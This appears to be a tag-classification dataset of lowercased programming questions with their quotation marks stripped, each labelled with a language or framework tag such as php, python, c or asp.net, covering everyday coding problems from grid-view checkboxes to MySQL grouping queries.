file list in html table format   echo  &lt;table class= table  border=\ 1\ &gt;\n ;   echo  &lt;thead&gt;\n ;   echo  &lt;tr&gt;&lt;th&gt;e-mailadres &lt;small&gt;(pad)&lt;/small&gt;&lt;/th&gt;&lt;th&gt;status&lt;/th&gt;&lt;th&gt;subbezoekers&lt;br /&gt;&lt;small&gt;bezoekers onder dezelfde sessie&lt;/small&gt;&lt;/th&gt;&lt;th&gt;tijd &amp; datum&lt;/th&gt;&lt;/tr&gt;\n ;   echo  &lt;/thead&gt;\n ;   echo  &lt;tbody&gt;\n ;   foreach($dirlist as $file) {   $foreach=$file[ name ];   $url=substr($foreach  strrpos($foreach   / ) + 1);   $withoutext = preg_replace( /\\.[^.\\s]{3 4}$/       $url);     echo  &lt;tr&gt;\n ;      # owner naam krijgen      $owner =  ../sessions/ .$withoutext. .txt ;     $fp2 = fopen($owner   r );      $contentname = fread($fp2  filesize($owner));     $namer = explode( \n   $contentname);     fclose($fp2);     $namerln = $namer[ 0 ];      # unieke rand krijgen      $rand =  ../sessions/ .$withoutext. .txt ;     $fp3 = fopen($rand   r );      $contentid = fread($fp3  filesize($rand));     $lineid = explode( \n   $contentid);     fclose($fp3);     $idln = $lineid[ 7 ];      echo  &lt;td&gt;&lt;a href= vimeo.php id=$withoutext &gt;&lt;strong&gt;$withoutext&lt;/strong&gt; (id: $idln) (naam: &lt;strong style= font-size: 20px; &gt;$namerln&lt;/strong&gt;)&lt;br /&gt;&lt;small&gt;({$file[ name ]})&lt;/small&gt;&lt;/a&gt;&lt;/td&gt;\n ;     echo  &lt;td&gt; ;     if (substr(sprintf( %o   fileperms( ../sessions/ .$withoutext. .txt ))  -4) ==  0664 ) {     echo  &lt;p style= color: red; &gt;niet verzonden&lt;/p&gt; ; }  else if (substr(sprintf( %o   fileperms( ../sessions/ .$withoutext. .txt ))  -4) ==  0775 ) {     echo  &lt;p style= color: green; &gt;verzonden&lt;/p&gt; ; } echo  &lt;/td&gt;\n ;     echo  &lt;td&gt; ; $id = $_get[ id ]; $id2 =  ../sessions/$withoutext.txt ;  &gt; &lt; php $filename = $id2; $fp = fopen($filename   r );  $content = fread($fp  filesize($filename)); $lines = explode( \n   $content); fclose($fp); #if no subusers if (!strpos($lines[ 3 ]   @ ) !== false &amp;&amp; !strpos($lines[ 4 ]   @ ) !== false) {     echo  &lt;p style= color: red; &gt;geen&lt;/p&gt; ; } if (strpos($lines[ 3 ]   @ ) !== false) {     echo  subuser 1:   . $lines[ 3 ] .   (  . $lines[ 5 ] .  )  .  &lt;br /&gt; ; } if (strpos($lines[ 4 ]   @ ) !== false) {     echo  subuser 2:   . $lines[ 4 ] .   (  . $lines[ 6 ] .  )  .  &lt;br /&gt; ; }  &gt;&lt;/td&gt;&lt; php echo  \n ;     $filenamerm = $file[ name ];     echo  &lt;td&gt;  date( r   $file[ lastmod ])  &lt;br /&gt;&lt;a href= rmsess.php id=$filenamerm  style= color: red; &gt;sessie verwijderen&lt;/a&gt;&lt;/td&gt;\n ;     echo  &lt;/tr&gt;\n ;   }   echo  &lt;/tbody&gt;\n ;   echo  &lt;/table&gt;\n\n ;  &gt; </code></pre>,php
how to have the event handler be called just once and not being recursively called in grid view  i have a check box in a grid view. it has many columns. in the grid view there are two columns namely po and pt. if i check po check box  i want to check all check boxes of the same column and also all the check boxes of pt column.    this is what i implemented. but i doubt this will cause recursive function. how can i stop this. the following is my code.   <pre><code>    protected sub chkpo_checkedchanged(sender as object  e as eventargs)        dim checkperoblig as checkbox = ctype(sender  checkbox)        enabledisableallpopt(checkperoblig.checked)     end sub      protected sub enabledisableallpopt(checked as boolean)         for each gvrow as gridviewrow in grdrevenuerecogntion.rows          dim checkpo as checkbox = ctype(gvrow.findcontrol( chkpo )  checkbox)          checkpo.checked = checked          if checkpo.checked then             checkpo.enabled = false          end if          dim checkpt as checkbox = ctype(gvrow.findcontrol( chkpt )  checkbox)          checkpt.enabled = checkpo.checked        next     end sub </code></pre>,asp.net
multiple value to uipicker view  i have a ui picker view to store child details  i got the value through a web service.i was added child name to picker view   now it shows all childs.    i also have one more value child id to store in the picker view  when a user select a child i need to get the id of the corresponding child.how i add multiple values to same row a pickerview.    thanks  companion,iphone
android: unable to start an activity upon selection a contextmenu item  i want to open the aboutactivity upon selecting the contextmenu item but nothing happens when i select any item from the contextmenu.    here is the code:   <pre><code>public boolean oncontextitemselected(menuitem menu){         // get menu id         int menuid = menu.getitemid();         switch (menuid){         case 0:             intent intnt2 = new intent(listactivity.this aboutactivity.class);             startactivity(intnt2);         break;         case 1:             intent intnt3 = new intent(listactivity.this aboutactivity.class);             startactivity(intnt3);         break;         }          return super.oncontextitemselected(menu);     } </code></pre>   i have declared the aboutactivity in manifest file and i have another menu item(named  about ) which lauches the aboutactivity.any help     [edit] this is the oncreatecontextmenu function:   <pre><code>public void oncreatecontextmenu(contextmenu menu view view contextmenuinfo menuinfo){         //checking if the long press is coming from listview or not         if(view.getid()==r.id.mainlist){             //adapterview.adaptercontextmenuinfo ainfo= (adaptercontextmenuinfo) menuinfo;             menu.setheadertitle( item menu );             menu.add(menu.none 0 0  edit );             menu.add(menu.none 1 0  delete );         }     } </code></pre>   how to use r.id here as raghunandan suggested,android
java : returning null or 0.0  i do not understand when my program reads my yml file  it read the type of float but it returns zero or 0.0. i have my float trig_edge_lev which return 0.0 but it sould returns 1.5.   <pre><code>public class loadyml {    //static oscillodso1072b dso1072b = new oscillodso1072b( visa://192.168.53.67/usb0::0x0957::0x0588::cn55040484::instr ) ;  private string trig_edge_slop; private string enable_chan_offset; private float trig_edge_lev; private string tim_mode; private string scale_number; private string tim_main_scal; private string scale_chan; private string trig_edge_source; private string wav_sour; private string prob_chan; private string inverse_chan; private string wav_point_mode; private string display_chan; private string enable_chan_bwl_off; private string coupling_chan; private string offset_number; private string wav_form;  public string gettrig_edge_slop() {     return trig_edge_slop; } public void settrig_edge_slop(string trig_edge_slop) {     this.trig_edge_slop = trig_edge_slop; } public string getenable_chan_offset() {     return enable_chan_offset; } public void setenable_chan_offset(string enable_chan_offset) {     this.enable_chan_offset = enable_chan_offset; } public float gettrig_edge_lev() {     return trig_edge_lev; } public void settrig_edge_lev(float trig_edge_lev) {     this.trig_edge_lev = trig_edge_lev; } public string gettim_mode() {     return tim_mode; } public void settim_mode(string tim_mode) {     this.tim_mode = tim_mode; } public string getscale_number() {     return scale_number; } public void setscale_number(string scale_number) {     this.scale_number = scale_number; } public string gettim_main_scal() {     return tim_main_scal; } public void settim_main_scal(string tim_main_scal) {     this.tim_main_scal = tim_main_scal; } public string getscale_chan() {     return scale_chan; } public void setscale_chan(string scale_chan) {     this.scale_chan = scale_chan; } public string gettrig_edge_source() {     return trig_edge_source; } public void settrig_edge_source(string trig_edge_source) {     this.trig_edge_source = trig_edge_source; } public string getwav_sour() {     return wav_sour; } public void setwav_sour(string wav_sour) {     this.wav_sour = wav_sour; } public string getprob_chan() {     return prob_chan; } public void setprob_chan(string prob_chan) {     this.prob_chan = prob_chan; } public string getinverse_chan() {     return inverse_chan; } public void setinverse_chan(string inverse_chan) {     this.inverse_chan = inverse_chan; } public string getwav_point_mode() {     return wav_point_mode; } public void setwav_point_mode(string wav_point_mode) {     this.wav_point_mode = wav_point_mode; } public string getdisplay_chan() {     return display_chan; } public void setdisplay_chan(string display_chan) {     this.display_chan = display_chan; } public string getenable_chan_bwl_off() {     return enable_chan_bwl_off; } public void setenable_chan_bwl_off(string enable_chan_bwl_off) {     this.enable_chan_bwl_off = enable_chan_bwl_off; } public string getcoupling_chan() {     return coupling_chan; } public void setcoupling_chan(string coupling_chan) {     this.coupling_chan = coupling_chan; } public string getoffset_number() {     return offset_number; } public void setoffset_number(string offset_number) {     this.offset_number = offset_number; } public string getwav_form() {     return wav_form; } public void setwav_form(string wav_form) {     this.wav_form = wav_form; }   public void loadfichier() throws filenotfoundexception{     try {         system.out.println(yaml.loadtype(new file( config.yml )  loadyml.class));         } catch (exception e) {         // todo auto-generated catch block         e.printstacktrace();     }  }      public string tostring() {     //dso1072b.setchanconftest(commande);    // float.parsefloat(scale_number);     return  [commande scpi=  +wav_form+   +enable_chan_bwl_off+               +    +trig_edge_lev+   +tim_mode+               +    +scale_number+   +trig_edge_slop+               +    +display_chan+   +tim_main_scal+               +    +scale_chan+   +trig_edge_source+               +    +wav_sour+   +inverse_chan+               +    +prob_chan+   +wav_point_mode+               +    +enable_chan_offset+   +coupling_chan+               +    +offset_number+  ] ;    } } </code></pre>   how can i fix that      <a href= https://i.stack.imgur.com/xwz2k.png  rel= nofollow noreferrer >console screen</a>,java
arrays and index 2  <a href= https://stackoverflow.com/questions/4430835/arrays-and-index/4431050 >original post</a>    guys ive figured it out but when i type the same numbers again still it was not rejected even though i already insert it in the index and it limit only for 5 index...heres the code   <pre><code>    #include &lt;iostream&gt;      using namespace std;     int main()     {     int x y;     int number;     int arr[5];      for (x=0;x&lt;=5;x++)     {         cout&lt;&lt; enter nmber &lt;&lt;endl;         cin&gt;&gt;number;     bool replace=true;     for (y=0;y&lt;x;y++)     {        if (number == arr[y])        {            replace=false;           break;        }     }      if (replace)     {           arr[x]=number;           x++;     }  }   return 0;  } </code></pre>,c++
span background-color is not working for last character space  i have a text which is contain a space in the last character  it seems like i unable to highlight the space at firefox. does anyone know why  is that a known issue for firefox    <pre><code>.highlight{  background-color: #c8c8c8 !important; } &lt;span class= highlight &gt;test &lt;/span&gt;  &lt;span class= highlight &gt;text&lt;/span&gt; </code></pre>   notes:   <ol> <li>i cannot use <code>inline-block</code>.</li> <li>i cannot use <code>&amp;nbsp;</code>.</li> <li>must able to highlight both text with space and text without space.</li> </ol>,css
can i use <%= ... %> to set a control property in asp.net  <pre><code>&lt;asp:textbox id= tbname  cssclass= formfield  maxlength= &lt;%=constants.maxcharacterlengthofgamename %&gt;  runat= server &gt;&lt;/asp:textbox&gt; </code></pre>   the code above does not work. i can set the maxlength property of the textbox in the code behind but i rather not. is there away i can set the maxlength property in the front-end code as above,asp.net
character to integer conversion off for alphabet characters  i m converting a character string character by character into integers. so  a  -  0  should be 10. however even though the numbers come out fine  alphabetical characters (i.e. a-f) come out as being off by 7. for instance  here s my line of code for conversion:   <pre><code>result = result + (((int) (*new -  0 )) * pow(16  bases)); </code></pre>   if i print that line piece by piece for a hex string like  a2c9  then for some reason my a is converted to 17 and my c is converted to 19. however the numbers 2 and 9 come out correctly. i m trying to figure out if i m missing something somewhere.,c
multi dimensional array out of bounds  my code is hanging on the line <code>fi_get[1  4]</code> with an  index out of bounds  error.      the <code>lines</code> var is a string list array and at run time it had well over 600 lines of text in it. i don t know why i can t assign a string value to <code>[1 4]</code>  it does assign values to <code>[1 0]</code> and <code>[1 1]</code> and <code>[1 2]</code> and <code>[1 3]</code>.   <pre><code>    string[ ] fi_get = new string[2  11];       if (lines[i].contains( show fabric-interconnect firmware ))             {                 fi_get[0  0] = regex.replace(lines[i + 2]  @ .+running-kern-vers:\s(.+)    $1 );                 fi_get[0  1] = regex.replace(lines[i + 3]  @ .+running-sys-vers:\s(.+)    $1 );                 fi_get[0  2] = regex.replace(lines[i + 4]  @ .+startup-kern-vers:\s(.+)    $1 );                 fi_get[0  3] = regex.replace(lines[i + 5]  @ .+startup-sys-vers:\s(.+)    $1 );                 fi_get[1  0] = regex.replace(lines[i + 7]  @ .+running-kern-vers:\s(.+)    $1 );                 fi_get[1  1] = regex.replace(lines[i + 8]  @ .+running-sys-vers:\s(.+)    $1 );                 fi_get[1  2] = regex.replace(lines[i + 9]  @ .+startup-kern-vers:\s(.+)    $1 );                 fi_get[1  3] = regex.replace(lines[i + 10]  @ .+startup-sys-vers:\s(.+)    $1 );             }              if (lines[i].contains( show fabric-interconnect inventory expand detail ))             {                 fi_get[0  4] = regex.replace(lines[i + 2]  @ .+product name:\s(.+)    $1 );                 fi_get[0  5] = regex.replace(lines[i + 3]  @ .+pid:\s(.+)    $1 );                 fi_get[0  6] = regex.replace(lines[i + 4]  @ .+serial (sn):\s(.+)    $1 );                 fi_get[0  7] = regex.replace(lines[i + 7]  @ .+description:\s(.+)    $1 );                 fi_get[0  8] = regex.replace(lines[i + 10]  @ .+serial (sn):\s(.+)    $1 );                 fi_get[0  9] = regex.replace(lines[i + 13]  @ .+product name:\s(.+)    $1 );                 fi_get[0  10] = regex.replace(lines[i + 14]  @ .+pid:\s(.+)    $1 );                 fi_get[0  11] = regex.replace(lines[i + 15]  @ .+serial (sn):\s(.+)    $1 );                 fi_get[1  4] = regex.replace(lines[i + 29]  @ .+product name:\s(.+)    $1 );                 fi_get[1  5] = regex.replace(lines[i + 30]  @ .+pid:\s(.+)    $1 );                 fi_get[1  6] = regex.replace(lines[i + 31]  @ .+serial (sn):\s(.+)    $1 );                 fi_get[1  7] = regex.replace(lines[i + 34]  @ .+description:\s(.+)    $1 );                 fi_get[1  8] = regex.replace(lines[i + 37]  @ .+serial (sn):\s(.+)    $1 );                 fi_get[1  9] = regex.replace(lines[i + 40]  @ .+product name:\s(.+)    $1 );                 fi_get[1  10] = regex.replace(lines[i + 41]  @ .+pid:\s(.+)    $1 );                 fi_get[1  11] = regex.replace(lines[i + 42]  @ .+serial (sn):\s(.+)    $1 );             } </code></pre>,c#
array of states/cities in a recursive function to output a select with optgroup  i have an array of states/cities where each element has a <code>$cities[ parent ]</code> key (the value is <code>0</code> for states  and <code>&gt; 0</code> or cities  like this:   <pre><code>$cities = array(      1  =&gt; array(          id  =&gt;  1            parent  =&gt;  0            name  =&gt;  california       )       2  =&gt; array(          id  =&gt;  2            parent  =&gt;  0            name  =&gt;  texas       )       3  =&gt; array(          id  =&gt;  3            parent  =&gt;  0            name  =&gt;  florida       )       4  =&gt; array(          id  =&gt;  4            parent  =&gt;  1            name  =&gt;  los angeles       )       5  =&gt; array(          id  =&gt;  5            parent  =&gt;  1            name  =&gt;  san francisco       )       6  =&gt; array(          id  =&gt;  6            parent  =&gt;  1            name  =&gt;  sacramento       )       7  =&gt; array(          id  =&gt;  7            parent  =&gt;  2            name  =&gt;  houston       )       8  =&gt; array(          id  =&gt;  8            parent  =&gt;  2            name  =&gt;  dallas       )       9  =&gt; array(          id  =&gt;  9            parent  =&gt;  3            name  =&gt;  miami       )       10  =&gt; array(          id  =&gt;  10            parent  =&gt;  3            name  =&gt;  orlando       )  ) </code></pre>   i also have a recursive function to generate <code>&lt;select&gt;</code> options  like this:   <pre><code>function citiesselect($ancestor  $array  $level  $selected = 0) {     $has_children = false;     foreach($array as $key =&gt; $value) {         if ($value[ parent ] == $ancestor) {                    if ($has_children === false &amp;&amp; $ancestor) {                 $has_children = true;             }              &gt;             &lt;option value= &lt; php echo $value[ id ]  &gt;  &lt; php echo ($value[ id ]) == $selected     selected  :   ;  &gt;&gt;&lt; php echo $value[ name ];  &gt;&lt;/option&gt;             &lt; php             citiesselect($key  $array  $level  $selected);         }     } } </code></pre>   and i recall with this:   <pre><code>&lt;select&gt;     &lt; php citiesselect(0  $cities  0);  &gt; &lt;/select&gt; </code></pre>   this is fine (here is a working fiddle: <a href= http://phpfiddle.org/main/code/uiax-n03q  rel= nofollow >http://phpfiddle.org/main/code/uiax-n03q</a>) but here comes a problem: i d like to put states in an <code>&lt;optroup&gt;</code> so they are not selectable  and resulting in a <code>&lt;select&gt;</code> like this:   <pre><code>&lt;select&gt;     &lt;optgroup label= california &gt;         &lt;option value= 4 &gt;los angeles&lt;/option&gt;         &lt;option value= 5 &gt;san francisco&lt;/option&gt;         &lt;option value= 6 &gt;sacramento&lt;/option&gt;     &lt;/optgroup&gt;     &lt;optgroup label= texas &gt;         &lt;option value= 7 &gt;houston&lt;/option&gt;         &lt;option value= 8 &gt;dallas&lt;/option&gt;     &lt;/optgroup&gt;     &lt;optgroup label= florida &gt;         &lt;option value= 9 &gt;miami&lt;/option&gt;         &lt;option value= 10 &gt;orlando&lt;/option&gt;     &lt;/optgroup&gt; &lt;/select&gt; </code></pre>   that s fine: how to achieve this     thanks in advance    edit: thanks to answers that suggest to split into 2 arrays  but sorry i can t modify it! the array yet serves successfully another classic menu (<code>&lt;ul&gt;...&lt;/ul&gt;</code>) and anyway i could have a third level like:   <pre><code> 11  =&gt; array(      id  =&gt;  11        parent  =&gt;  4        name  =&gt;  hollywood   )   12  =&gt; array(      id  =&gt;  12        parent  =&gt;  4        name  =&gt;  santa monica   ) </code></pre>,php
how do i show such text in c codes or c++ codes   we have to do some project for our semester. so to make the project we are showing our title of project and we want to display our project like this :   <pre><code> ____                                 _   ____        _             |  _ \ ___ _ __ ___  ___  _ __   __ _| | |  _ \  __ _(_)_ __ _   _  | |_) / _ \  __/ __|/ _ \|  _ \ / _` | | | | | |/ _` | |  __| | | | |  __/  __/ |  \__ \ (_) | | | | (_| | | | |_| | (_| | | |  | |_| | |_|   \___|_|  |___/\___/|_| |_|\__ _|_| |____/ \__ _|_|_|   \__  |                                                              |___/  </code></pre>   i tried to use <code>printf</code> but could not do. i could not accomplish it.    first i tried like this   <pre><code>printf(  ____                                 _   ____        _             ); printf( |  _ \ ___ _ __ ___  ___  _ __   __ _| | |  _ \  __ _(_)_ __ _   _  ); printf( | |_) / _ \  __/ __|/ _ \|  _ \ / _` | | | | | |/ _` | |  __| | | | ); printf( |  __/  __/ |  \__ \ (_) | | | | (_| | | | |_| | (_| | | |  | |_| | ); printf( |_|   \___|_|  |___/\___/|_| |_|\__ _|_| |____/ \__ _|_|_|   \__  | ); printf(                                                              |___/  ); </code></pre>   and the problem was <code>\</code> character was creating problem. if i replace <code>\</code> with <code>\\</code> it will not appear as i want to.     so how could i accomplish it  :(    is there any way,c
finding multiple modes in an array c programming  i have this homework assignment where the user would enter 10 numbers and would find the mode of those 10 numbers. i got one mode working  my question is i dont know how to start finding multiple modes in the array. ex. 1 1 2 2 3 4 5 6 7 8 the mode of the array is 1 2    here s the code for the mode    <pre><code>void displaymode(int numarray[]) {      int countarray[max];     int modecount = 0;     int modenumber;     int i = 0;     int j = 0;      for(i=0; i &lt; max; i++)     {         countarray[i] = 0;     }      for(i=0; i &lt; max; i++)     {         for (j = 0; j &lt; max; j++)         {             if (numarray[i] == numarray[j])                 countarray[i]++;         }     }      for (i=0; i &lt; max; i++)     {         if (countarray[i] &gt; modecount)         {             modecount = countarray[i];             modenumber = numarray[i];         }        }       if (modecount &gt; 1)         printf( \nthe mode of the array is: %d  modenumber);     else         printf( \nthe mode of the array is: none ); } </code></pre>,c
rails - ok to set a rails variable inside a javascript function   is there anything wrong with setting a rails variable inside a javascript function   i haven t been able to google a definete answer and just wanted to make sure there s not a catch or flaw i m unaware of.  i m actually confused as to how this works at all - if javascript is executed on the client side  i wouldn t have assume rails would respond to a variable change in the view after the view is rendered..     (example) i have multiple functions calling the same form and i have a need to know which function called the forms to do specific tasks in the controller method (session in this case is a cookie  but i also tried a local rails variable and it works as well).   <pre><code>&lt;script type= text/javascript &gt;      $( .open_new_item_form  ).click(function(){      alert( &lt;%= session[:item_form_type]%&gt; );         &lt;% session[:item_form_type] =  from_new_item_click  %&gt;      alert( &lt;%= session[:item_form_type]%&gt; );         var url = $(this).attr( href );         $.ajax({ etc... </code></pre>   the alerts seem to indicate it works well.  it will alert with the current valute and then the new  from_new_item  value after the set.       thanks - just making sure,ruby-on-rails
selecting highest value for a group  i have a select query for a mysql database which lists a series of values for a number of items:   <pre><code>bottle of single malt scotch    â£15 bottle of single malt scotch    â£1.00 box of deans shortbread     â£2 box of deans shortbread     â£1.00 days fishing    â£10 days fishing    â£1.00 fishing reel    â£5 fishing reel    â£1.00 </code></pre>   the query is:   <pre><code>select field7 field11 from 2007mod_mpform_results_249 order by field7 field11 desc </code></pre>   i would like to only display the highest value for each item. is this a simple task or do i need to get into sub-queries  i have looked for a solution but am pretty baffled by results as i am new to sql.,mysql
variable number of method parameters with different types for each of them  <strong>edit:</strong>   <pre><code>func(params dynamic[] parameters) {  } </code></pre>   lets it accept variable parameters with variable types. ignorance is not bliss.    <strong>question:</strong>    i need to write a method that takes n number of lists each of different types such as:   <pre><code> list&lt;type1&gt; list1 = .....;  list&lt;type2&gt; list2 = .....;  list&lt;typen_1&gt; listn_1 = .....;  list&lt;typen&gt; listn = .....;  var result=func(list1 list2 listn); </code></pre>   but i couldn t manage with  params  keyword because it doesn t let inner functions know &lt; t > of each list.   <pre><code> public int func&lt;     &gt;(       )  {       int result=0;       ... get all lists and put them in some function:       innerfunc(list1);       // which is declared as innerfunc&lt;t&gt;(list&lt;t&gt; p){}       return result;  } </code></pre>,c#
shuffle objectindex in nsmutable array objective c  i want to shuffle my whole objectindex in nsmutablearray.    for example  if my json should be like this:   <pre><code>[{@ name :@ vikas    @ id :@ 1  @ subject :@ english }  {@ name :@ rajat  @ id :@ 2  @ subject :@ math }  {@ name :@ jhon  @ id :@ 3  @ science }] </code></pre>   i want result should be like this:   <pre><code>[{@ name :@ jhon  @ id :@ 3  @ science }  {@ name :@ rajat  @ id :@ 2  @ subject :@ math }  {@ name :@ vikas    @ id :@ 1  @ subject :@ english }] </code></pre>   i want to shuffle whole object but i am unable to do this in objective-c.   <pre><code>- (void)shuffle {     nsuinteger count = [self count];     if (count &lt;= 1) return;     for (nsuinteger i = 0; i &lt; count - 1; ++i) {         nsinteger remainingcount = count - i;         nsinteger exchangeindex = i + arc4random_uniform((u_int32_t )remainingcount);         [self exchangeobjectatindex:i withobjectatindex:exchangeindex];     } } </code></pre>   this is my code. i don t know where i was wrong. if someone knows then please tell me.,objective-c
css - how to dry up   is there a way to dry this css up   only difference is color    <pre><code>div.base-text-gold {     position: absolute; bottom: 9px; color: #fed577; font-size: 10px;     font-weight: bolder; text-align: center; width: 61px; text-transform: uppercase; }  div.base-text-grey {     position: absolute; bottom: 9px; color: #d1d2d4; font-size: 10px;     font-weight: bolder; text-align: center; width: 61px; text-transform: uppercase; } </code></pre>,css
quad form program not solving correctly <pre><code>import cmath a = float(input( a:  )) b = float(input( b:  )) c = float(input( c:  )) negb = float(b*-1) sqrtvar = (b**2-4*a*c) plus = (negb+cmath.sqrt(sqrtvar)/2*a) minus = (negb-cmath.sqrt(sqrtvar)/2*a) print(plus) print(minus) </code></pre>   when i run it negb does not add with the rest of the equation and the answers come out wrong anyway,python
assigning the value returned by a function to a variable in python  i began coding in python recently and encountered a problem assigning the value returned by a function to a variable.   <pre><code>class combolock:     def _init_(self num1 num2 num3):         self.x = [num1 num2 num3]     def next(self  state):         print  enter combination          combo = raw_input( &gt; )         if combo == self.x[state]:             print  correct              return 1         else:             print  wrong              return 0     def lock(self):         currentstate = 0         while currentstate &lt; 2:             temp = next(currentstate)             if temp == 1:                 currentstate = currentstate + 1             else:                 currentstate = 99                 print  alarm  </code></pre>   when i call the lock function  i get an error at the line   <pre><code>temp = next(currentstate) </code></pre>   saying that an int object is not an iterator.,python
pop-up message after progress bar completes   hey..hi..please tell me if i want to show pop-up message after completing my progress bar which is on 1st activity. now i have created progress bar its runs but remaining part i want to show pop-message as progress bar reached the max. limit....please help me out,android
python: grabbing an entire string as one element  my input looks like this:    <pre><code> msg1          .stringz   “this is my sample string :    memoryspace   .blkw      9  newline       .fill      #10  neg48         .fill      #-48        .end </code></pre>   right now i have a code that splits each line in my input file by word like such:   <pre><code>[ msg1    .stringz     this    is    a     sample     string     ] [ memoryspace    .blkw    9 ] [ newline    .fill    #10 ] [ neg48    .fill    #-48 ] [] [ .end ] </code></pre>   in the input file  on my first line where i have the string  i would like it to treat that whole string as one element so that i can count its length in my code. is there any way of doing that  here is my code:    <pre><code>f = open ( testlc31.txt    r ) line_count = 0  to_ignore = [ and    add    lea    puts    jsr    ld    jsrr     not    ldi                 ldr    st    sti    str    br     jmp    trap     jmp    rti                 br    st    sti     str     brz    brn     halt ]  label = [] instructions = []  for line in f:     elem = line.split() if line.split() else [  ]     if len(elem) &gt; 1 and elem[0] not in to_ignore:         label.append(elem[0])         instructions.append(elem[1])         line_count += 1     elif elem[0] in to_ignore:         line_count += 1 </code></pre>,python
avaudiorecorder background modes and phone call  my app used required background modes  app plays audio  i can record on background mode. but if phone call  i used the delegate   <pre><code>-(void)loadview {       nserror *error=nil;   [[avaudiosession sharedinstance] setcategory:avaudiosessioncategoryplayandrecord error:&amp;error];    if (error) {//do something error}    error = nil;    [[avaudiosession sharedinstance] setactive:yes error:&amp;error];   if (error) {//do something error} }  -(void)audiorecorderbegininterruption  {     [avaudiorecorder  pause];  }  -(void)audiorecorderendinterruption  {     [avaudiorecorder  record];  } </code></pre>   these two methods are executed normally but <code>avaudiorecorder</code> is not run.    i want keep recording when the phone call end.,objective-c
python 3 keeps printing none  i know that a function returns none as default  but my problem seem to be coming from int/input/print       <pre><code>n1 = int(input(print( first number :  ))) n2 = int(input(print( second number :  ))) </code></pre>   and here s the result   <pre><code>first number : none12       &lt;~~~typed in 12 then enter second number : none </code></pre>,python
abstract database implementation in c++  i wanna create abstract db class and implement pg (postgresql) by inheriting from db:    <strong>db.h</strong>:   <pre><code>template &lt;class t&gt; class db  { public:     db(std::string  std::string  std::string  std::string);     virtual ~db();  protected:     t* getconnection();     std::string gethost();     std::string getusername();     std::string getdatabase();     std::string getpassword();     virtual std::string getconnectionstring()=0;  private:      t* connection;     std::string host;     std::string username;     std::string database;     std::string password; }; </code></pre>   <strong>db.cpp</strong>:   <pre><code>#include  db.h   using namespace std;  template &lt;class t&gt; db&lt;t&gt;::db(string ihost  string iusername  string idatabase  string ipassword)      : host(ihost)  username(iusername)  database(idatabase)  password(ipassword) {     t* conn(getconnectionstring());     connection = conn; }  template &lt;class t&gt; t* db&lt;t&gt;::getconnection() {     return connection; }  ... getters </code></pre>   <strong>pg.h</strong>:   <pre><code>#include  ../db.h   template &lt;class t&gt; class pg : public db&lt;t&gt; { public:     virtual std::string getconnectionstring(); }; </code></pre>   <strong>pg.cpp</strong>:   <pre><code>#include  pg.h   template &lt;class t&gt; std::string pg&lt;t&gt;::getconnectionstring() {     return  host=  + this-&gt;gethost() +   user=  + this-&gt;getusername()          +   password=  + this-&gt;getpassword() +   dbname=  + this-&gt;getdatabase(); } </code></pre>   <strong>main.cpp</strong>:   <pre><code>#include &lt;iostream&gt; #include &lt;pqxx/connection&gt; #include &lt;pqxx/transaction&gt; #include  lib/db/pg/pg.h   using namespace std;  int main () {     string host     =  localhost ;     string username =  username ;     string database =  db ;     string password =  root ;      try {         pg&lt;pqxx::connection&gt; *db(host  username  database  password);     } catch (pqxx::broken_connection) {         cout &lt;&lt;  failed to establish connection.  &lt;&lt; endl;     }      return 0; } </code></pre>   sorry for long implementation. after compiling with g++ i get an error:   <pre><code>main.cpp: in function ‘int main()’: main.cpp:15:62: error: expression list treated as compound expression in initializer [-fpermissive]    pg&lt;pqxx::connection&gt; *db(host  username  database  password);                                                               ^ main.cpp:15:62: error: cannot convert ‘std::string {aka std::basic_string&lt;char&gt;}’ to ‘pg&lt;pqxx::basic_connection&lt;pqxx::connect_direct&gt; &gt;*’ in initialization </code></pre>   i don t know if it is a good idea in the end  because my first version with only main() function looked more compact. i just try to hide connection details somewhere  such as connection string.,c++
update content of custom uitableviewcell not working  i am creating a custom uitableviewcell as in  <a href= http://www.e-string.com/content/custom-uitableviewcells-interface-builder  rel= nofollow noreferrer >http://www.e-string.com/content/custom-uitableviewcells-interface-builder</a>    all is working fine with no problem. the loading of data is correct  which proved that the linking in ib is correct too.    i am trying to update the content  a uilabel  on the custom cell from another function in the class which take a reference to the table containing the cell and the indexpath. however the label is not being reset the value desired.     my problem is similar to this: <a href= https://stackoverflow.com/questions/4421763/cannot-update-custom-uitableviewcell >cannot update custom uitableviewcell</a> but it does not have a solution :(    i tried calling <code>[mytable reloaddata]</code> and <code>[cell reloadinputviews]</code> but neither worked for me.    not sure how to do this can any one suggest something     cheers af    update:    i found what was going wrong! in my current code i am receiving the updates that i need to show in the uilabel from another thread  which calls the updating function on the client object directly (i pass reference to it to the second thread)  and that is wrong!!  i have used instead [myclientobject performselectoronmainthread:myupdatingfunction waituntildone:no] and it all worded as charm...    thanks for the help and sorry for not posting the code...,iphone
printed mysql query giving two different results with and without spaces  i have two different queries and i just try to print the part of my query as bellow    <pre><code>$datesql= date(date_sub(ec.membership_expires interval 1 week)) ; echo  1 : (date(ec.last_reminder) &lt; $datesql and now() &gt;= $datesql) ; echo  2 : (date(ec.last_reminder)&lt;$datesql and now()&gt;=$datesql) ; </code></pre>   and i will get two different results :   <blockquote>    1 : (date(ec.last_reminder) &lt;   date(date_sub(ec.membership_expires interval 1 week)) and now() >=   date(date_sub(ec.membership_expires interval 1 week)))        2 : (date(ec.last_reminder)=date(date_sub(ec.membership_expires interval 1   week)))  </blockquote>   can someone explain why it happens,php
checking existence of hash key without hasownproperty in javascript  given this example data:   <pre><code>let foo = [1 2 2 3 5 3] let seen = {} </code></pre>   what is the difference between the following ways to check the existence of a key   can i run into some hiccups using the first way    <pre><code>foo.filter(function(item) {     return seen[item]   false : (seen[item] = true); }); </code></pre>   vs.    <pre><code>foo.filter(function(item) {     return seen.hasownproperty(item)   false : (seen[item] = true); }); </code></pre>,javascript
page_load event not firing but page_init is  i have an aspx page   it does some work by calling a stored procedure.    if i leave the page for some time and i click a asp.net button the click event does not fire.  if i attach to the process using the debugger and put break points in the button.click  page.load and page.init events then the only breakpoint that fires off is the page.init.    in what circumstances can this happen     i am using a tcp socket. i am using ajax.  can any of these things cause this to happen   is this just down to timeout issues     thanks,asp.net
how can we make autocomplete=off for password input in angular js   i am completely new with angularjs. i need to to make autocomplete=off for password input. is autocomplete=off is the only way or we have some different way in angularjs.,angularjs
